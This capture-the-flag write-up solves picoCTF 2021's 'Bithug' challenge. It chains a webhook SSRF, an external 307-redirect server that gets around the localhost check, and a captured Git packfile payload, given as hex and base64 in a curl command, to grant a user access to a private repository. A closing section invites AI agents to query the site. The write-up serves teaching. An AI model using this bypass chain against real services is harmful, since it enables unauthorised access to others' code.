# Bithug

## Problem

> Code management software is way too bloated. Try our new lightweight solution, BitHug. Source: distribution.tgz

* [distribution.tgz](https://github.com/HHousen/PicoCTF-2021/blob/master/Web%20Exploitation/Bithug/distribution.tgz)

## Solution

1. This web application is using [Express.js](https://expressjs.com/) for the backend and [React](https://reactjs.org/) for the frontend. The package manager is [Yarn](https://yarnpkg.com/) and [Webpack](https://webpack.js.org/) is used to bundle assets. [NPM](https://www.npmjs.com/) scripts are used to run the various build and serve processes. The entire project can easily be run in a [docker](https://www.docker.com/) container thanks to the included `Dockerfile`. Essentially, this challenge makes use of the standard set of tools used to build a full-stack application. It is likely a hard challenge due to the number of programs that one must understand to complete it. The goal of the challenge is to get access to the repository at `/_/<username>.git` because the flag is in the readme file of that repo.
2. The actual website itself is a simple [Git](https://git-scm.com/) server with functionality similar to that of [GitHub](https://github.com/) (the challenge name is "GitHub" with the first and last letters switched). Users can create an account, create a git repository, and then push changes. Additionally, webhooks are supported so a user can post data to an external server on every commit. There is also a feature to give other users access to your repository by editing the `access.conf` file on the `refs/meta/config` commit of the repo.
3. Looking at the backend code we see following files:
   1. `auth-api.ts`: Handles authentication from a `user-token` cookie or `authorization` header. Alternatively, if the incoming connection is happening over `localhost`, the user `kind` attribute is automatically set to `admin`.
   2. `auth.ts`: Basic logic for connecting the application to a database to store users.
   3. `git-api.ts`: The API to interact with git repositories over HTTP. Many of these function signatures are standard as part of Git.
   4. `git.ts`: A bridge between the web application and the `git` command.
   5. `index.ts`: The main entry point.
   6. `static-api.ts`: Code to enable serving of the main html and js files for React.
   7. `utils.ts`: Basic utilities. Only contains a `formatString` function.
   8. `web-api.ts`: Contains the `login`, `logout`, create repository, `register`, and obtain user information endpoints.
   9. `webhooks.ts`: Similar to `auth.ts`, but for webhooks. Connects the application to a database to store webhooks.
4. Here are some interesting things to take note of:
   1. The only ways to obtain access to a repository that a user does not own are to be `user.kind === "admin"` or to have the username be in the access config file. Source: `git-api.ts` Line 20.
   2. There is only one time when `user.kind` is set to `admin` and it is when `req.socket.remoteAddress` is `localhost`. Source: `auth-api.ts` Line 26.
   3. The code that creates a webhook checks to make sure that the endpoint of the webhook is not `localhost` and that the port is `80`. Source: `git-api.ts` Line 64.
   4. The only places that data can be posted are the `login`, `register`, `repo/create`, and `logout` endpoints in `web-api.ts` and the `/:user/:repo.git/webhooks`, `/:user/:repo.git/git-upload-pack`, and `/:user/:repo.git/git-receive-pack` endpoints in `git-api.ts`. The aforementioned endpoints in `web-api.ts` are basic and likely not exploitable.
5. Initially, I tried figuring our how to spoof the nodejs `req.socket.remoteAddress` function (`auth-api.ts` Line 26). However, this web application is behind a reverse proxy that is configured correctly so spoofing this value is not possible. Thus, in order to execute a request as admin, the request needs to literally come from `localhost`. We want to execute a request as an admin because an admin can access any repo, including the one with the flag at `/_/<username>.git`. Also, when we make a commit to a repository on BitHug, the following requests are shown in the console:

   ```
   { kind: 'none' } GET /zwade/quine.git/info/refs?service=git-receive-pack { service: 'git-receive-pack' }
   { kind: 'none' } GET /zwade/quine.git/info/refs?service=git-receive-pack { service: 'git-receive-pack' }
   { kind: 'user', user: 'zwade' } GET /zwade/quine.git/info/refs?service=git-receive-pack { service: 'git-receive-pack' }
   { kind: 'user', user: 'zwade' } POST /zwade/quine.git/git-receive-pack {}
   ```

   Every commit posts data we control to the `/:user/:repo.git/git-receive-pack` endpoint, which is useful.
6. For this tutorial, we will be using the `zwade` user because some of his repositories are proxied to `http://localhost:1823` in the `client/src/webpack.config.js` `devServer`. I'm not sure if it is necessary to use this user.
7. Trying to use any endpoint that starts with `/:user/:repo.git` requires `user.kind === "admin" || user.user === repoOwner` or for the username to be in the access configuration file. Posting to `/:user/:repo.git/git-receive-pack` calls `req.git.receivePackPost` and allows the user to push changes to their git repository. Therefore, we need to create a webhook on a repo that a regular user owns that posts data to `localhost`. In this case we will use the `zwade/quine.git` repo. The webhook will post a git pack to the `/_/zwade.git/git-receive-pack` endpoint to add a new commit to the `/_/zwade.git` repo. This commit will add the `zwade` user to the `access.conf` file of the `/_/zwade.git` repo. When we push a new commit to `zwade/quine.git`, the webhook will be called and the new commit will be pushed to the `/_/zwade.git` repo, which will add `zwade` to the `access.conf` and thus give us access. The commit will be pushed successfully because the request will come from `localhost` and thus the user will be an admin.
8. We first need to obtain a Git packfile containing a commit that adds a file called `access.conf` to `refs/meta/config` containing our username, `zwade`. The can be completed by creating a new empty repository on BitHug and then cloning it using the provided commands. While capturing packets on the `docker0` network interface using `wireshark`, run the following commands in the cloned repository:

   ```
   echo "zwade" > access.conf
   git add access.conf
   git commit -m "Add"
   git push origin @:refs/meta/config
   ```
9. In `wireshark` (my capture file: [bithug-git.pcapng](https://github.com/HHousen/PicoCTF-2021/blob/master/Web%20Exploitation/Bithug/bithug-git.pcapng)) we can follow the HTTP stream and see the git packfile being sent with the content generated by the `send-pack` process. To learn more about how the internals of `git push` work (including `send-pack` and `git-receive-pack`) then you should read the [Chapter 10.6: Git Internals - Transfer Protocols](https://git-scm.com/book/en/v2/Git-Internals-Transfer-Protocols) of the Git Book. In `wireshark`, we can change the data view to "C Arrays" and copy-paste the hex bytes into CyberChef to convert them to base64, since the `/:user/:repo.git/webhooks` endpoint decodes the `body` as base64. We could try to manually create the header data generated by `send-pack`, but that is difficult and `wireshark` makes it easy to get the exactly correct payload.

   C Array extracted from `wireshark`:

   ```
   0x30, 0x30, 0x39, 0x34, 0x30, 0x30, 0x30, 0x30, 
   0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 
   0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 
   0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 
   0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 
   0x30, 0x30, 0x30, 0x30, 0x20, 0x65, 0x37, 0x38, 
   0x36, 0x64, 0x65, 0x62, 0x61, 0x39, 0x36, 0x37, 
   0x30, 0x34, 0x33, 0x34, 0x35, 0x34, 0x31, 0x63, 
   0x30, 0x65, 0x36, 0x66, 0x36, 0x61, 0x34, 0x30, 
   0x65, 0x39, 0x62, 0x64, 0x32, 0x36, 0x66, 0x31, 
   0x38, 0x61, 0x39, 0x38, 0x61, 0x20, 0x72, 0x65, 
   0x66, 0x73, 0x2f, 0x6d, 0x65, 0x74, 0x61, 0x2f, 
   0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x00, 0x20, 
   0x72, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x2d, 0x73, 
   0x74, 0x61, 0x74, 0x75, 0x73, 0x20, 0x73, 0x69, 
   0x64, 0x65, 0x2d, 0x62, 0x61, 0x6e, 0x64, 0x2d, 
   0x36, 0x34, 0x6b, 0x20, 0x61, 0x67, 0x65, 0x6e, 
   0x74, 0x3d, 0x67, 0x69, 0x74, 0x2f, 0x32, 0x2e, 
   0x32, 0x35, 0x2e, 0x31, 0x30, 0x30, 0x30, 0x30, 
   0x50, 0x41, 0x43, 0x4b, 0x00, 0x00, 0x00, 0x02, 
   0x00, 0x00, 0x00, 0x03, 0x96, 0x0b, 0x78, 0x9c, 
   0xa5, 0x8c, 0x31, 0x0e, 0x83, 0x30, 0x0c, 0x00, 
   0xf7, 0xbc, 0xc2, 0x1f, 0x28, 0xb2, 0xd3, 0xd4, 
   0x01, 0xa9, 0xaa, 0xda, 0x8d, 0x6f, 0x10, 0xdb, 
   0x51, 0x3a, 0xd0, 0x48, 0x10, 0x86, 0xfe, 0xbe, 
   0x08, 0x9e, 0xd0, 0xe9, 0x74, 0x37, 0x5c, 0x5b, 
   0xcc, 0xc0, 0x38, 0x06, 0xcb, 0x59, 0x08, 0x51, 
   0x93, 0x8a, 0xd2, 0x8d, 0xaf, 0x12, 0x7d, 0x60, 
   0xc1, 0x21, 0x59, 0x26, 0x4b, 0xbe, 0xef, 0xc5, 
   0x07, 0x37, 0x6d, 0xad, 0xd4, 0x05, 0xc6, 0xe9, 
   0xab, 0xf6, 0x81, 0xb1, 0x6e, 0xeb, 0x8e, 0x7b, 
   0x39, 0xf4, 0x79, 0xa2, 0x1c, 0xb1, 0x93, 0x3a, 
   0x3f, 0x80, 0x98, 0x98, 0x7d, 0x8c, 0x43, 0x84, 
   0x0b, 0x06, 0x44, 0xb7, 0xd7, 0xf9, 0xdd, 0x9a, 
   0xfd, 0xb1, 0x70, 0x2f, 0x55, 0xf7, 0x03, 0xdf, 
   0xbc, 0x39, 0x26, 0xa7, 0x02, 0x78, 0x9c, 0x33, 
   0x34, 0x30, 0x30, 0x33, 0x31, 0x51, 0x48, 0x4c, 
   0x4e, 0x4e, 0x2d, 0x2e, 0xd6, 0x4b, 0xce, 0xcf, 
   0x4b, 0x63, 0xe0, 0xfb, 0xcd, 0x1c, 0xd8, 0x5a, 
   0x29, 0x2c, 0x9c, 0xe2, 0x79, 0x6a, 0x5b, 0x6c, 
   0x40, 0xdf, 0xa1, 0x4b, 0xb7, 0x8c, 0x0b, 0x01, 
   0xf6, 0x64, 0x0e, 0x91, 0x36, 0x78, 0x9c, 0xab, 
   0x2a, 0x4f, 0x4c, 0x49, 0xe5, 0x02, 0x00, 0x08, 
   0xb9, 0x02, 0x26, 0xee, 0x24, 0xf7, 0x11, 0x5a, 
   0x4a, 0xcf, 0x5b, 0x26, 0xd6, 0xbc, 0x49, 0xd8, 
   0xb7, 0x3b, 0x47, 0x23, 0x02, 0xa8, 0x50
   ```

   Using CyberChef we get the following base64 string: `MDA5NDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZTc4NmRlYmE5NjcwNDM0NTQxYzBlNmY2YTQwZTliZDI2ZjE4YTk4YSByZWZzL21ldGEvY29uZmlnACByZXBvcnQtc3RhdHVzIHNpZGUtYmFuZC02NGsgYWdlbnQ9Z2l0LzIuMjUuMTAwMDBQQUNLAAAAAgAAAAOWC3icpYwxDoMwDAD3vMIfKLLT1AGpqtqNbxDbUTrQSBCG/r4IntDpdDdcW8zAOAbLWQhRk4rSja8SfWDBIVkmS77vxQc3ba3UBcbpq/aBsW7rjns59HmiHLGTOj+AmJh9jEOECwZEt9f53Zr9sXAvVfcD37w5JqcCeJwzNDAwMzFRSExOTi0u1kvOz0tj4PvNHNhaKSyc4nlqW2xA36FLt4wLAfZkDpE2eJyrKk9MSeUCAAi5AibuJPcRWkrPWybWvEnYtztHIwKoUA==`. This is the payload for our webhook.
10. Before we can craft our webhook payload we need to get around the check on lines 71-77 of `git-api.ts`. This code makes sure the webhook does not point to `localhost` and that it connects to port `80`. This is a problem for us because the backend of the application runs on `localhost:1823`. We can bypass this by running a server that redirects all post requests to the `localhost` domain. I wrote a simple python server to do this in [server.py](https://github.com/HHousen/PicoCTF-2021/blob/master/Web%20Exploitation/Bithug/server.py). You can either run this server on your local network (and port forward it on your router) or put it on an actual server using something like [Google's AppEngine](https://console.cloud.google.com/appengine). The server performs a `307` redirect because `307` redirects prohibit HTTP method changes upon redirect: "It is therefore recommended to set the 302 code only as a response for GET or HEAD methods and to use 307 Temporary Redirect instead, as the method change is explicitly prohibited in that case." Quote from [HTTP Code 302 on MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/302).
11. Let's create a new repository called `first-repo` for this webhook. Then, we can post the webhook using cURL: `curl http://venus.picoctf.net:52986/zwade/first-repo.git/webhooks -H "Content-Type: application/json" --cookie "user-token=2dcba1e6-2957-475b-adad-54d123d7bc9a" --data '{"url":"<IP_ADDRESS>/_/zwade.git/git-receive-pack","body":"MDA5NDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZTc4NmRlYmE5NjcwNDM0NTQxYzBlNmY2YTQwZTliZDI2ZjE4YTk4YSByZWZzL21ldGEvY29uZmlnACByZXBvcnQtc3RhdHVzIHNpZGUtYmFuZC02NGsgYWdlbnQ9Z2l0LzIuMjUuMTAwMDBQQUNLAAAAAgAAAAOWC3icpYwxDoMwDAD3vMIfKLLT1AGpqtqNbxDbUTrQSBCG/r4IntDpdDdcW8zAOAbLWQhRk4rSja8SfWDBIVkmS77vxQc3ba3UBcbpq/aBsW7rjns59HmiHLGTOj+AmJh9jEOECwZEt9f53Zr9sXAvVfcD37w5JqcCeJwzNDAwMzFRSExOTi0u1kvOz0tj4PvNHNhaKSyc4nlqW2xA36FLt4wLAfZkDpE2eJyrKk9MSeUCAAi5AibuJPcRWkrPWybWvEnYtztHIwKoUA==","contentType":"application/x-git-receive-pack-request"}'`. Make sure to replace `<IP_ADDRESS>` with the IP address where you are running the [server.py](https://github.com/HHousen/PicoCTF-2021/blob/master/Web%20Exploitation/Bithug/server.py) script. The `contentType` for the webhook is `application/x-git-receive-pack-request` since this is the content type shown in the code for the `/:user/:repo.git/git-receive-pack` endpoint in `git-api.ts` on line 159. Make sure to set your `user-token` cookie for the `zwade` user by grabbing it from your browser developer tools.
12. Once this webhook is in place, all we need to do is commit a new change to `zwade/first-repo.git`:

    ```
    echo "new" > new.md
    git add new.md
    git commit -m "New"
    git push origin master
    ```

    Running the above commands in the `zwade/first-repo.git` repo will push the new file and thus execute our webhook. Our webhook connects to our server which redirects the request to `localhost` on the server running BitHug. The payload data (a Git packfile containing a file called `access.conf` with the text `zwade` in it) is posted to `localhost:1823/_/zwade.git/git-receive-pack`, and thus a new commit is added to the target repository that gives the user `zwade` access. We can visit `http://venus.picoctf.net:52986/_/zwade.git` to get the flag from the target repository's readme file.

### Flag

`picoCTF{good_job_at_gitting_good}`


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://picoctf2021.haydenhousen.com/web-exploitation/bithug.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
